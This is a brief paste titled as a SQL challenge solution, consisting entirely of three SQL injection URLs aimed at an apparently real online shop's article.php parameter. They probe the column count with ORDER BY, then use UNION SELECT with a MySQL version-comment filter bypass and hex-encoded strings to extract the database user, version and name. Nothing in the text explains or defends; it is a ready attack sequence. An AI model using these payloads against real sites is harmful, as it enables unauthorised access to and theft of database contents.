sql challenge solution 1

[#] http://www.eshopbooster.co.uk/article.php?cat=12%27%20order%20by%204--+-

[#] http://www.eshopbooster.co.uk/article.php?cat=-12%27%20+/*!50000UNION*/+ALL+SELECT+1,2,3,4--+-

[#] http://www.eshopbooster.co.uk/article.php?cat=-12%27%20+/*!50000UNION*/+ALL+SELECT+1,concat%280x3a3a3a204d616769636f203a3a3a3a3a,0x3c62723e,0x5b235d55534552203a20,user%28%29,0x3c62723e,0x5b235d56455253494f4e203a20,version%28%29,0x3c62723e,0x5b235d4441544142415345203a20,database%28%29%29,3,4--+-